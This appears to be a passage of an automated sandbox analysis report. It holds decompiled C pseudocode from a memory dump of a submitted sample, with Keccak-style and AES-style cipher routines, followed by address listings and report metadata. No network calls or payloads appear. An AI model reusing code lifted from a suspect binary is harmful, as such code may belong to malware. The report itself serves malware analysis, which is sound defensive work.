                                                                                  					 *(_t1369 + 0x38) =  !_v40 & _v24 ^ _t1475;
                                                                                  					_t1410 = _t1369;
                                                                                  					 *(_t1410 + 0x40) =  !_v24 & _v36 ^ _v40;
                                                                                  					 *(_t1410 + 0x44) =  !_v20 & _v32 ^ _t1409;
                                                                                  					 *(_t1410 + 0x48) =  !_v36 & _v16 ^ _v24;
                                                                                  					 *(_t1410 + 0x4c) =  !_v32 & _v28 ^ _v20;
                                                                                  					_t542 = _t1410 + 0x50; // 0xffff34bd
                                                                                  					_t543 = _t1410 + 0x58; // 0xaaf30000
                                                                                  					_t1233 =  *_t543;
                                                                                  					_t544 = _t1410 + 0x68; // 0x8b55c35d
                                                                                  					_t545 = _t1410 + 0x60; // 0x5fffc883
                                                                                  					_t1476 =  *_t545;
                                                                                  					_t546 = _t1410 + 0x64; // 0xe58b5b5e
                                                                                  					_t1370 =  *_t546;
                                                                                  					_v36 =  *_t542;
                                                                                  					_t548 = _t1410 + 0x54; // 0xc8b9ff
                                                                                  					_v32 =  *_t548;
                                                                                  					_t550 = _t1410 + 0x5c; // 0x3ebc033
                                                                                  					_t551 = _t1410 + 0x6c; // 0x28ec83ec
                                                                                  					_t1411 =  *_t551;
                                                                                  					_v28 =  *_t550;
                                                                                  					_t890 = _a4;
                                                                                  					_v16 = _t1233;
                                                                                  					_v40 =  *_t544;
                                                                                  					_t557 = _t890 + 0x70; // 0x758b5653
                                                                                  					_t1020 = _a4;
                                                                                  					_v24 =  *_t557;
                                                                                  					_t561 =  &(_a4[0x1d]); // 0x45c75708
                                                                                  					 *(_t1020 + 0x50) =  !_t1233 & _t1476 ^ _v36;
                                                                                  					_v20 =  *_t561;
                                                                                  					 *(_t1020 + 0x54) =  !_v28 & _t1370 ^ _v32;
                                                                                  					 *(_t1020 + 0x58) =  !_t1476 & _v40 ^ _v16;
                                                                                  					 *(_t1020 + 0x5c) =  !_t1370 & _t1411 ^ _v28;
                                                                                  					_t1371 = _t1020;
                                                                                  					 *(_t1371 + 0x60) =  !_v40 & _v24 ^ _t1476;
                                                                                  					 *(_t1371 + 0x64) =  !_t1411 & _v20 ^ _t1370;
                                                                                  					_t1412 = _t1371;
                                                                                  					 *(_t1412 + 0x68) =  !_v24 & _v36 ^ _v40;
                                                                                  					 *(_t1412 + 0x6c) =  !_v20 & _v32 ^ _t1411;
                                                                                  					 *(_t1412 + 0x70) =  !_v36 & _v16 ^ _v24;
                                                                                  					 *(_t1412 + 0x74) =  !_v32 & _v28 ^ _v20;
                                                                                  					_t592 = _t1412 + 0x78; // 0xb7b588d8
                                                                                  					_t593 = _t1412 + 0x80; // 0x33385e33
                                                                                  					_t1255 =  *_t593;
                                                                                  					_t594 = _t1412 + 0x90; // 0x68b0000
                                                                                  					_t595 = _t1412 + 0x88; // 0x88
                                                                                  					_t1477 =  *_t595;
                                                                                  					_t596 = _t1412 + 0x8c; // 0xb09e33
                                                                                  					_t1372 =  *_t596;
                                                                                  					_v36 =  *_t592;
                                                                                  					_t598 = _t1412 + 0x7c; // 0x105e8b00
                                                                                  					_v32 =  *_t598;
                                                                                  					_t600 = _t1412 + 0x84; // 0x9e33605e
                                                                                  					_t601 = _t1412 + 0x94; // 0x33284633
                                                                                  					_t1413 =  *_t601;
                                                                                  					_v28 =  *_t600;
                                                                                  					_t917 = _a4;
                                                                                  					_v16 = _t1255;
                                                                                  					_v40 =  *_t594;
                                                                                  					_t607 = _t917 + 0x98; // 0x46335046
                                                                                  					_t1022 = _a4;
                                                                                  					_v24 =  *_t607;
                                                                                  					_t611 =  &(_a4[0x27]); // 0xa0863378
                                                                                  					 *(_t1022 + 0x78) =  !_t1255 & _t1477 ^ _v36;
                                                                                  					_v20 =  *_t611;
                                                                                  					 *(_t1022 + 0x7c) =  !_v28 & _t1372 ^ _v32;
                                                                                  					 *(_t1022 + 0x80) =  !_t1477 & _v40 ^ _v16;
                                                                                  					 *(_t1022 + 0x84) =  !_t1372 & _t1413 ^ _v28;
                                                                                  					_t1373 = _t1022;
                                                                                  					 *(_t1373 + 0x88) =  !_v40 & _v24 ^ _t1477;
                                                                                  					 *(_t1373 + 0x8c) =  !_t1413 & _v20 ^ _t1372;
                                                                                  					_t1414 = _t1373;
                                                                                  					 *(_t1414 + 0x90) =  !_v24 & _v36 ^ _v40;
                                                                                  					 *(_t1414 + 0x94) =  !_v20 & _v32 ^ _t1413;
                                                                                  					 *(_t1414 + 0x98) =  !_v36 & _v16 ^ _v24;
                                                                                  					 *(_t1414 + 0x9c) =  !_v32 & _v28 ^ _v20;
                                                                                  					_t642 = _t1414 + 0xa0; // 0x8b000000
                                                                                  					_t643 = _t1414 + 0xa8; // 0x544e332c
                                                                                  					_t1277 =  *_t643;
                                                                                  					_t644 = _t1414 + 0xb0; // 0xa48e
                                                                                  					_t1478 =  *_t644;
                                                                                  					_t645 = _t1414 + 0xb8; // 0x333c5633
                                                                                  					_v36 =  *_t642;
                                                                                  					_t647 = _t1414 + 0xa4; // 0x4e33044e
                                                                                  					_t648 = _t1414 + 0xb4; // 0x14568b00
                                                                                  					_t1374 =  *_t648;
                                                                                  					_v32 =  *_t647;
                                                                                  					_t650 = _t1414 + 0xac; // 0x337c4e33
                                                                                  					_t651 = _t1414 + 0xbc; // 0x96336456
                                                                                  					_t1415 =  *_t651;
                                                                                  					_v28 =  *_t650;
                                                                                  					_t944 = _a4;
                                                                                  					_v16 = _t1277;
                                                                                  					_v40 =  *_t645;
                                                                                  					_t657 = _t944 + 0xc0; // 0x8c
                                                                                  					_t1024 = _a4;
                                                                                  					_v24 =  *_t657;
                                                                                  					_t661 =  &(_a4[0x31]); // 0xb49633
                                                                                  					_t1024[0x28] =  !_t1277 & _t1478 ^ _v36;
                                                                                  					_v20 =  *_t661;
                                                                                  					_t1024[0x29] =  !_v28 & _t1374 ^ _v32;
                                                                                  					_t1024[0x2a] =  !_t1478 & _v40 ^ _v16;
                                                                                  					_t1024[0x2b] =  !_t1374 & _t1415 ^ _v28;
                                                                                  					_t1375 = _t1024;
                                                                                  					_t1416 = _t1375;
                                                                                  					_t1375[0x2c] =  !_v40 & _v24 ^ _t1478;
                                                                                  					_t1375[0x2d] =  !_t1415 & _v20 ^ _t1374;
                                                                                  					_t1024[0x2e] =  !_v24 & _v36 ^ _v40;
                                                                                  					_t1024[0x2f] =  !_v20 & _v32 ^ _t1415;
                                                                                  					_t1416[0x30] =  !_v36 & _v16 ^ _v24;
                                                                                  					_t1416[0x31] =  !_v32 & _v28 ^ _v20;
                                                                                  					_t1299 = _v44;
                                                                                  					 *_t1416 =  *_t1416 ^  *_t1299;
                                                                                  					_t693 =  &(_t1299[1]); // 0x0
                                                                                  					_t969 =  *_t693;
                                                                                  					_t1300 =  &(_t1299[2]);
                                                                                  					_t1416[1] = _t1416[1] ^ _t969;
                                                                                  					_v44 = _t1300;
                                                                                  				} while (_t1300 < 0xb7b648);
                                                                                  				return _t969;
                                                                                  			}



























































































































































                                                                                  0x00b69831
                                                                                  0x00b69835
                                                                                  0x00b6983c
                                                                                  0x00b6983c
                                                                                  0x00b6983f
                                                                                  0x00b69842
                                                                                  0x00b69845
                                                                                  0x00b6984b
                                                                                  0x00b69853
                                                                                  0x00b69856
                                                                                  0x00b69859
                                                                                  0x00b6985c
                                                                                  0x00b69862
                                                                                  0x00b69865
                                                                                  0x00b69868
                                                                                  0x00b6986b
                                                                                  0x00b6986e
                                                                                  0x00b69874
                                                                                  0x00b69877
                                                                                  0x00b6987a
                                                                                  0x00b6987d
                                                                                  0x00b69883
                                                                                  0x00b69889
                                                                                  0x00b6988c
                                                                                  0x00b6988f
                                                                                  0x00b69892
                                                                                  0x00b69898
                                                                                  0x00b69898
                                                                                  0x00b6989e
                                                                                  0x00b698a1
                                                                                  0x00b698a4
                                                                                  0x00b698a7
                                                                                  0x00b698aa
                                                                                  0x00b698b0
                                                                                  0x00b698b6
                                                                                  0x00b698b9
                                                                                  0x00b698bc
                                                                                  0x00b698bf
                                                                                  0x00b698c2
                                                                                  0x00b698c8
                                                                                  0x00b698c8
                                                                                  0x00b698ce
                                                                                  0x00b698d1
                                                                                  0x00b698d4
                                                                                  0x00b698d7
                                                                                  0x00b698da
                                                                                  0x00b698e0
                                                                                  0x00b698e0
                                                                                  0x00b698e6
                                                                                  0x00b698e9
                                                                                  0x00b698ec
                                                                                  0x00b698ef
                                                                                  0x00b698f2
                                                                                  0x00b698f8
                                                                                  0x00b698fe
                                                                                  0x00b69901
                                                                                  0x00b69904
                                                                                  0x00b69907
                                                                                  0x00b6990a
                                                                                  0x00b69910
                                                                                  0x00b69918
                                                                                  0x00b6991b
                                                                                  0x00b69927
                                                                                  0x00b6992a
                                                                                  0x00b6992c
                                                                                  0x00b69934
                                                                                  0x00b69937
                                                                                  0x00b6993f
                                                                                  0x00b69947
                                                                                  0x00b6994b
                                                                                  0x00b69957
                                                                                  0x00b6995c
                                                                                  0x00b69963
                                                                                  0x00b69968
                                                                                  0x00b69970
                                                                                  0x00b69975
                                                                                  0x00b6997c
                                                                                  0x00b69981
                                                                                  0x00b69989
                                                                                  0x00b6998c
                                                                                  0x00b6998e
                                                                                  0x00b69991
                                                                                  0x00b69997
                                                                                  0x00b699a2
                                                                                  0x00b699a8
                                                                                  0x00b699b0
                                                                                  0x00b699b5
                                                                                  0x00b699bf
                                                                                  0x00b699c3
                                                                                  0x00b699c9
                                                                                  0x00b699ce
                                                                                  0x00b699d7
                                                                                  0x00b699dc
                                                                                  0x00b699e3
                                                                                  0x00b699e8
                                                                                  0x00b699f1
                                                                                  0x00b699f6
                                                                                  0x00b69a00
                                                                                  0x00b69a08
                                                                                  0x00b69a12
                                                                                  0x00b69a18
                                                                                  0x00b69a23
                                                                                  0x00b69a29
                                                                                  0x00b69a2f
                                                                                  0x00b69a35
                                                                                  0x00b69a3a
                                                                                  0x00b69a48
                                                                                  0x00b69a4a
                                                                                  0x00b69a50
                                                                                  0x00b69a55
                                                                                  0x00b69a5e
                                                                                  0x00b69a63
                                                                                  0x00b69a6a
                                                                                  0x00b69a6f
                                                                                  0x00b69a78
                                                                                  0x00b69a7d
                                                                                  0x00b69a84
                                                                                  0x00b69a89
                                                                                  0x00b69a92
                                                                                  0x00b69a97
                                                                                  0x00b69a9e
                                                                                  0x00b69aa6
                                                                                  0x00b69ab2
                                                                                  0x00b69ab8
                                                                                  0x00b69aba
                                                                                  0x00b69abd
                                                                                  0x00b69ac3
                                                                                  0x00b69ac9
                                                                                  0x00b69ad5
                                                                                  0x00b69add
                                                                                  0x00b69aee
                                                                                  0x00b69af0
                                                                                  0x00b69af3
                                                                                  0x00b69af5
                                                                                  0x00b69b01
                                                                                  0x00b69b06
                                                                                  0x00b69b0d
                                                                                  0x00b69b15
                                                                                  0x00b69b18
                                                                                  0x00b69b1f
                                                                                  0x00b69b26
                                                                                  0x00b69b2b
                                                                                  0x00b69b33
                                                                                  0x00b69b38
                                                                                  0x00b69b3f
                                                                                  0x00b69b47
                                                                                  0x00b69b52
                                                                                  0x00b69b58
                                                                                  0x00b69b5a
                                                                                  0x00b69b60
                                                                                  0x00b69b66
                                                                                  0x00b69b71
                                                                                  0x00b69b77
                                                                                  0x00b69b79
                                                                                  0x00b69b81
                                                                                  0x00b69b86
                                                                                  0x00b69b90
                                                                                  0x00b69b94
                                                                                  0x00b69b98
                                                                                  0x00b69b9d
                                                                                  0x00b69ba6
                                                                                  0x00b69bab
                                                                                  0x00b69bae
                                                                                  0x00b69bb8
                                                                                  0x00b69bbf
                                                                                  0x00b69bc6
                                                                                  0x00b69bcb
                                                                                  0x00b69bd3
                                                                                  0x00b69bd8
                                                                                  0x00b69bdf
                                                                                  0x00b69bea
                                                                                  0x00b69bf0
                                                                                  0x00b69bf8
                                                                                  0x00b69bfa
                                                                                  0x00b69c00
                                                                                  0x00b69c06
                                                                                  0x00b69c11
                                                                                  0x00b69c17
                                                                                  0x00b69c1d
                                                                                  0x00b69c1d
                                                                                  0x00b69c20
                                                                                  0x00b69c20
                                                                                  0x00b69c23
                                                                                  0x00b69c23
                                                                                  0x00b69c26
                                                                                  0x00b69c26
                                                                                  0x00b69c3a
                                                                                  0x00b69c3d
                                                                                  0x00b69c42
                                                                                  0x00b69c45
                                                                                  0x00b69c48
                                                                                  0x00b69c48
                                                                                  0x00b69c52
                                                                                  0x00b69c5c
                                                                                  0x00b69c61
                                                                                  0x00b69c66
                                                                                  0x00b69c66
                                                                                  0x00b69c6b
                                                                                  0x00b69c6b
                                                                                  0x00b69c6e
                                                                                  0x00b69c7d
                                                                                  0x00b69c82
                                                                                  0x00b69c87
                                                                                  0x00b69c8c
                                                                                  0x00b69c8c
                                                                                  0x00b69c92
                                                                                  0x00b69c92
                                                                                  0x00b69ca4
                                                                                  0x00b69ca9
                                                                                  0x00b69cb1
                                                                                  0x00b69cb9
                                                                                  0x00b69cb9
                                                                                  0x00b69cbf
                                                                                  0x00b69cbf
                                                                                  0x00b69cd1
                                                                                  0x00b69cd6
                                                                                  0x00b69cde
                                                                                  0x00b69ce6
                                                                                  0x00b69ce6
                                                                                  0x00b69ce9
                                                                                  0x00b69ce9
                                                                                  0x00b69cf8
                                                                                  0x00b69cfd
                                                                                  0x00b69d02
                                                                                  0x00b69d07
                                                                                  0x00b69d07
                                                                                  0x00b69d0a
                                                                                  0x00b69d0a
                                                                                  0x00b69d1b
                                                                                  0x00b69d1e
                                                                                  0x00b69d21
                                                                                  0x00b69d24
                                                                                  0x00b69d24
                                                                                  0x00b69d2c
                                                                                  0x00b69d2c
                                                                                  0x00b69d42
                                                                                  0x00b69d45
                                                                                  0x00b69d4d
                                                                                  0x00b69d55
                                                                                  0x00b69d55
                                                                                  0x00b69d58
                                                                                  0x00b69d58
                                                                                  0x00b69d69
                                                                                  0x00b69d6c
                                                                                  0x00b69d71
                                                                                  0x00b69d76
                                                                                  0x00b69d76
                                                                                  0x00b69d7c
                                                                                  0x00b69d7c
                                                                                  0x00b69d90
                                                                                  0x00b69d93
                                                                                  0x00b69d9b
                                                                                  0x00b69da3
                                                                                  0x00b69da3
                                                                                  0x00b69da9
                                                                                  0x00b69da9
                                                                                  0x00b69dbb
                                                                                  0x00b69dc0
                                                                                  0x00b69dc8
                                                                                  0x00b69dd0
                                                                                  0x00b69dd0
                                                                                  0x00b69dd3
                                                                                  0x00b69dd3
                                                                                  0x00b69de2
                                                                                  0x00b69de7
                                                                                  0x00b69dec
                                                                                  0x00b69df1
                                                                                  0x00b69df1
                                                                                  0x00b69df4
                                                                                  0x00b69df4
                                                                                  0x00b69e03
                                                                                  0x00b69e08
                                                                                  0x00b69e0d
                                                                                  0x00b69e12
                                                                                  0x00b69e12
                                                                                  0x00b69e18
                                                                                  0x00b69e18
                                                                                  0x00b69e2c
                                                                                  0x00b69e2f
                                                                                  0x00b69e37
                                                                                  0x00b69e3f
                                                                                  0x00b69e3f
                                                                                  0x00b69e45
                                                                                  0x00b69e45
                                                                                  0x00b69e59
                                                                                  0x00b69e5c
                                                                                  0x00b69e64
                                                                                  0x00b69e6c
                                                                                  0x00b69e6c
                                                                                  0x00b69e6f
                                                                                  0x00b69e6f
                                                                                  0x00b69e7e
                                                                                  0x00b69e83
                                                                                  0x00b69e88
                                                                                  0x00b69e8d
                                                                                  0x00b69e8d
                                                                                  0x00b69e90
                                                                                  0x00b69e90
                                                                                  0x00b69e9f
                                                                                  0x00b69ea4
                                                                                  0x00b69ea9
                                                                                  0x00b69eae
                                                                                  0x00b69eae
                                                                                  0x00b69eb1
                                                                                  0x00b69eb1
                                                                                  0x00b69ec2
                                                                                  0x00b69ec5
                                                                                  0x00b69eca
                                                                                  0x00b69ecf
                                                                                  0x00b69ecf
                                                                                  0x00b69ed5
                                                                                  0x00b69ed5
                                                                                  0x00b69ee9
                                                                                  0x00b69eec
                                                                                  0x00b69ef4
                                                                                  0x00b69efc
                                                                                  0x00b69efc
                                                                                  0x00b69eff
                                                                                  0x00b69eff
                                                                                  0x00b69f10
                                                                                  0x00b69f13
                                                                                  0x00b69f18
                                                                                  0x00b69f1b
                                                                                  0x00b69f21
                                                                                  0x00b69f21
                                                                                  0x00b69f27
                                                                                  0x00b69f38
                                                                                  0x00b69f40
                                                                                  0x00b69f48
                                                                                  0x00b69f48
                                                                                  0x00b69f4b
                                                                                  0x00b69f4b
                                                                                  0x00b69f4e
                                                                                  0x00b69f5f
                                                                                  0x00b69f64
                                                                                  0x00b69f69
                                                                                  0x00b69f6e
                                                                                  0x00b69f6e
                                                                                  0x00b69f71
                                                                                  0x00b69f71
                                                                                  0x00b69f80
                                                                                  0x00b69f85
                                                                                  0x00b69f8a
                                                                                  0x00b69f9b
                                                                                  0x00b69fa0
                                                                                  0x00b69fa5
                                                                                  0x00b69fa5
                                                                                  0x00b69fa8
                                                                                  0x00b69fab
                                                                                  0x00b69fab
                                                                                  0x00b69fae
                                                                                  0x00b69fae
                                                                                  0x00b69fb1
                                                                                  0x00b69fb4
                                                                                  0x00b69fb7
                                                                                  0x00b69fba
                                                                                  0x00b69fbd
                                                                                  0x00b69fbd
                                                                                  0x00b69fc0
                                                                                  0x00b69fc3
                                                                                  0x00b69fc6
                                                                                  0x00b69fcd
                                                                                  0x00b69fd3
                                                                                  0x00b69fd6
                                                                                  0x00b69fd9
                                                                                  0x00b69fdf
                                                                                  0x00b69fe2
                                                                                  0x00b69fe8
                                                                                  0x00b69ff3
                                                                                  0x00b6a009
                                                                                  0x00b6a00e
                                                                                  0x00b6a024
                                                                                  0x00b6a026
                                                                                  0x00b6a029
                                                                                  0x00b6a041
                                                                                  0x00b6a043
                                                                                  0x00b6a046
                                                                                  0x00b6a05f
                                                                                  0x00b6a062
                                                                                  0x00b6a065
                                                                                  0x00b6a068
                                                                                  0x00b6a068
                                                                                  0x00b6a06b
                                                                                  0x00b6a06e
                                                                                  0x00b6a06e
                                                                                  0x00b6a071
                                                                                  0x00b6a071
                                                                                  0x00b6a074
                                                                                  0x00b6a077
                                                                                  0x00b6a07a
                                                                                  0x00b6a07d
                                                                                  0x00b6a080
                                                                                  0x00b6a080
                                                                                  0x00b6a083
                                                                                  0x00b6a086
                                                                                  0x00b6a089
                                                                                  0x00b6a090
                                                                                  0x00b6a096
                                                                                  0x00b6a099
                                                                                  0x00b6a09c
                                                                                  0x00b6a0a2
                                                                                  0x00b6a0a5
                                                                                  0x00b6a0ab
                                                                                  0x00b6a0b7
                                                                                  0x00b6a0cd
                                                                                  0x00b6a0d2
                                                                                  0x00b6a0e8
                                                                                  0x00b6a0ea
                                                                                  0x00b6a0ed
                                                                                  0x00b6a105
                                                                                  0x00b6a107
                                                                                  0x00b6a10a
                                                                                  0x00b6a123
                                                                                  0x00b6a126
                                                                                  0x00b6a129
                                                                                  0x00b6a12c
                                                                                  0x00b6a12c
                                                                                  0x00b6a12f
                                                                                  0x00b6a132
                                                                                  0x00b6a132
                                                                                  0x00b6a135
                                                                                  0x00b6a135
                                                                                  0x00b6a138
                                                                                  0x00b6a13b
                                                                                  0x00b6a13e
                                                                                  0x00b6a141
                                                                                  0x00b6a144
                                                                                  0x00b6a144
                                                                                  0x00b6a147
                                                                                  0x00b6a14a
                                                                                  0x00b6a14d
                                                                                  0x00b6a154
                                                                                  0x00b6a15a
                                                                                  0x00b6a15d
                                                                                  0x00b6a160
                                                                                  0x00b6a166
                                                                                  0x00b6a169
                                                                                  0x00b6a16e
                                                                                  0x00b6a17b
                                                                                  0x00b6a191
                                                                                  0x00b6a196
                                                                                  0x00b6a1aa
                                                                                  0x00b6a1ae
                                                                                  0x00b6a1b4
                                                                                  0x00b6a1c9
                                                                                  0x00b6a1cb
                                                                                  0x00b6a1ce
                                                                                  0x00b6a1e7
                                                                                  0x00b6a1ea
                                                                                  0x00b6a1ed
                                                                                  0x00b6a1f0
                                                                                  0x00b6a1f0
                                                                                  0x00b6a1f6
                                                                                  0x00b6a1fc
                                                                                  0x00b6a1fc
                                                                                  0x00b6a202
                                                                                  0x00b6a202
                                                                                  0x00b6a208
                                                                                  0x00b6a20b
                                                                                  0x00b6a20e
                                                                                  0x00b6a211
                                                                                  0x00b6a217
                                                                                  0x00b6a217
                                                                                  0x00b6a21d
                                                                                  0x00b6a220
                                                                                  0x00b6a223
                                                                                  0x00b6a22a
                                                                                  0x00b6a230
                                                                                  0x00b6a236
                                                                                  0x00b6a239
                                                                                  0x00b6a23f
                                                                                  0x00b6a245
                                                                                  0x00b6a24a
                                                                                  0x00b6a257
                                                                                  0x00b6a26d
                                                                                  0x00b6a275
                                                                                  0x00b6a28e
                                                                                  0x00b6a290
                                                                                  0x00b6a299
                                                                                  0x00b6a2b1
                                                                                  0x00b6a2b3
                                                                                  0x00b6a2bc
                                                                                  0x00b6a2cd
                                                                                  0x00b6a2db
                                                                                  0x00b6a2e1
                                                                                  0x00b6a2e7
                                                                                  0x00b6a2e7
                                                                                  0x00b6a2ed
                                                                                  0x00b6a2ed
                                                                                  0x00b6a2f3
                                                                                  0x00b6a2f9
                                                                                  0x00b6a2fc
                                                                                  0x00b6a302
                                                                                  0x00b6a302
                                                                                  0x00b6a308
                                                                                  0x00b6a30b
                                                                                  0x00b6a311
                                                                                  0x00b6a311
                                                                                  0x00b6a317
                                                                                  0x00b6a31a
                                                                                  0x00b6a31d
                                                                                  0x00b6a324
                                                                                  0x00b6a32a
                                                                                  0x00b6a330
                                                                                  0x00b6a333
                                                                                  0x00b6a339
                                                                                  0x00b6a33f
                                                                                  0x00b6a347
                                                                                  0x00b6a354
                                                                                  0x00b6a36d
                                                                                  0x00b6a375
                                                                                  0x00b6a38e
                                                                                  0x00b6a390
                                                                                  0x00b6a392
                                                                                  0x00b6a39b
                                                                                  0x00b6a3b3
                                                                                  0x00b6a3bc
                                                                                  0x00b6a3d5
                                                                                  0x00b6a3db
                                                                                  0x00b6a3e1
                                                                                  0x00b6a3e6
                                                                                  0x00b6a3e8
                                                                                  0x00b6a3e8
                                                                                  0x00b6a3eb
                                                                                  0x00b6a3ee
                                                                                  0x00b6a3f1
                                                                                  0x00b6a3f4
                                                                                  0x00b6a406

                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID:
                                                                                  • String ID:
                                                                                  • API String ID:
                                                                                  • Opcode ID: 9500997146edaf6709c0c10cafc86fc4235b0c24ae0f8e5d3fe44d5c0d353256
                                                                                  • Instruction ID: 5a66826195ffe2b056295e1c22d71c4c9383cd9ef864fd73ba8cd92ca5d19b7f
                                                                                  • Opcode Fuzzy Hash: 9500997146edaf6709c0c10cafc86fc4235b0c24ae0f8e5d3fe44d5c0d353256
                                                                                  • Instruction Fuzzy Hash: C5A2F475A106198FDB48CF69C491AAAF7F2BF8C300F55856ED85AEB741CB34A841CF90
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  C-Code - Quality: 75%
                                                                                  			E00B672F1(void* __eflags, unsigned int _a4, signed int _a8, signed int _a12, signed int* _a16) {
                                                                                  				unsigned int _v8;
                                                                                  				unsigned int _v12;
                                                                                  				unsigned int _v16;
                                                                                  				unsigned int _v20;
                                                                                  				signed int _t383;
                                                                                  				signed char _t388;
                                                                                  				signed char _t393;
                                                                                  				unsigned int _t394;
                                                                                  				signed int* _t396;
                                                                                  				unsigned int _t413;
                                                                                  				signed int _t420;
                                                                                  				unsigned int _t434;
                                                                                  				unsigned int _t453;
                                                                                  				unsigned int _t499;
                                                                                  				unsigned int _t501;
                                                                                  				unsigned int _t507;
                                                                                  				signed int* _t509;
                                                                                  				signed int* _t511;
                                                                                  				signed int* _t512;
                                                                                  				signed int _t516;
                                                                                  				signed int _t517;
                                                                                  				signed int _t519;
                                                                                  				void* _t521;
                                                                                  
                                                                                  				_t521 = __eflags;
                                                                                  				_t396 = _a12;
                                                                                  				asm("rol eax, 0x8");
                                                                                  				asm("ror edx, 0x8");
                                                                                  				_t511 = _a4;
                                                                                  				_a4 = ( *_t396 & 0xff00ff00 |  *_t396 & 0x00ff00ff) ^  *_t511;
                                                                                  				asm("rol eax, 0x8");
                                                                                  				asm("ror edx, 0x8");
                                                                                  				_t6 =  &(_t511[1]); // 0x330475c0
                                                                                  				asm("rol eax, 0x8");
                                                                                  				asm("ror ebx, 0x8");
                                                                                  				_v12 = (_t396[1] & 0xff00ff00 | _t396[1] & 0x00ff00ff) ^  *_t6;
                                                                                  				_t9 =  &(_t511[2]); // 0x560aebc0
                                                                                  				_t388 = (_t396[2] & 0xff00ff00 | _t396[2] & 0x00ff00ff) ^  *_t9;
                                                                                  				asm("rol eax, 0x8");
                                                                                  				asm("ror edx, 0x8");
                                                                                  				_t11 =  &(_t511[3]); // 0xffec0ce8
                                                                                  				_t499 = (_t396[3] & 0xff00ff00 | _t396[3] & 0x00ff00ff) ^  *_t11;
                                                                                  				_t21 =  &(_t511[4]); // 0x59c033ff
                                                                                  				_v16 =  *(0xb79560 + (_t388 >> 0x00000008 & 0x000000ff) * 4) ^  *(0xb79160 + (_v12 >> 0x00000010 & 0x000000ff) * 4) ^  *(0xb78d60 + (_a4 >> 0x18) * 4) ^  *(0xb79960 + (_t499 & 0x000000ff) * 4) ^  *_t21;
                                                                                  				_t33 =  &(_t511[5]); // 0x8b5e5b40
                                                                                  				_v8 =  *(0xb79560 + (_t499 >> 0x00000008 & 0x000000ff) * 4) ^  *(0xb79160 + (_t388 >> 0x00000010 & 0x000000ff) * 4) ^  *(0xb78d60 + (_v12 >> 0x18) * 4) ^  *(0xb79960 + (_a4 & 0x000000ff) * 4) ^  *_t33;
                                                                                  				_a12 =  *(0xb79160 + (_t499 >> 0x00000010 & 0x000000ff) * 4) ^  *(0xb79560 + (_a4 >> 0x00000008 & 0x000000ff) * 4) ^  *(0xb78d60 + (_t388 >> 0x18) * 4);
                                                                                  				_t413 = _v12;
                                                                                  				_t516 = _a12 ^  *(0xb79960 + (_t413 & 0x000000ff) * 4);
                                                                                  				_a12 = _t516;
                                                                                  				_t48 =  &(_t511[6]); // 0x55c35de5
                                                                                  				_a12 = _t516 ^  *_t48;
                                                                                  				_t60 =  &(_t511[7]); // 0xec83ec8b
                                                                                  				_t420 =  *(0xb79560 + (_t413 >> 0x00000008 & 0x000000ff) * 4) ^  *(0xb79160 + (_a4 >> 0x00000010 & 0x000000ff) * 4) ^  *(0xb78d60 + (_t499 >> 0x18) * 4) ^  *(0xb79960 + (_t388 & 0x000000ff) * 4) ^  *_t60;
                                                                                  				_t512 =  &(_t511[8]);
                                                                                  				_a8 = (_a8 >> 1) - 1;
                                                                                  				while(1) {
                                                                                  					_a4 = _t420;
                                                                                  					if(_t521 == 0) {
                                                                                  						break;
                                                                                  					}
                                                                                  					_t517 = _a12;
                                                                                  					_t501 = _v16;
                                                                                  					_v12 =  *(0xb79560 + (_t517 >> 0x00000008 & 0x000000ff) * 4) ^  *(0xb79160 + (_v8 >> 0x00000010 & 0x000000ff) * 4) ^  *(0xb78d60 + (_t501 >> 0x18) * 4) ^  *(0xb79960 + (_a4 & 0x000000ff) * 4) ^  *_t512;
                                                                                  					_t85 =  &(_t512[1]); // 0x5350d045
                                                                                  					_v20 =  *(0xb79560 + (_a4 >> 0x00000008 & 0x000000ff) * 4) ^  *(0xb79160 + (_t517 >> 0x00000010 & 0x000000ff) * 4) ^  *(0xb78d60 + (_v8 >> 0x18) * 4) ^  *(0xb79960 + (_t501 & 0x000000ff) * 4) ^  *_t85;
                                                                                  					_t434 = _v8;
                                                                                  					_t97 =  &(_t512[2]); // 0x151be8
                                                                                  					_t393 =  *(0xb79160 + (_a4 >> 0x00000010 & 0x000000ff) * 4) ^  *(0xb79560 + (_t501 >> 0x00000008 & 0x000000ff) * 4) ^  *(0xb78d60 + (_t517 >> 0x18) * 4) ^  *(0xb79960 + (_t434 & 0x000000ff) * 4) ^  *_t97;
                                                                                  					_t107 =  &(_t512[3]); // 0x14c48300
                                                                                  					_t507 =  *(0xb79560 + (_t434 >> 0x00000008 & 0x000000ff) * 4) ^  *(0xb79160 + (_t501 >> 0x00000010 & 0x000000ff) * 4) ^  *(0xb78d60 + (_a4 >> 0x18) * 4) ^  *(0xb79960 + (_t517 & 0x000000ff) * 4) ^  *_t107;
                                                                                  					_t118 =  &(_t512[4]); // 0x1374c085
                                                                                  					_v16 =  *(0xb79560 + (_t393 >> 0x00000008 & 0x000000ff) * 4) ^  *(0xb79160 + (_v20 >> 0x00000010 & 0x000000ff) * 4) ^  *(0xb78d60 + (_v12 >> 0x18) * 4) ^  *(0xb79960 + (_t507 & 0x000000ff) * 4) ^  *_t118;
                                                                                  					_t130 =  &(_t512[5]); // 0xff0c75ff
                                                                                  					_v8 =  *(0xb79560 + (_t507 >> 0x00000008 & 0x000000ff) * 4) ^  *(0xb79160 + (_t393 >> 0x00000010 & 0x000000ff) * 4) ^  *(0xb78d60 + (_v20 >> 0x18) * 4) ^  *(0xb79960 + (_v12 & 0x000000ff) * 4) ^  *_t130;
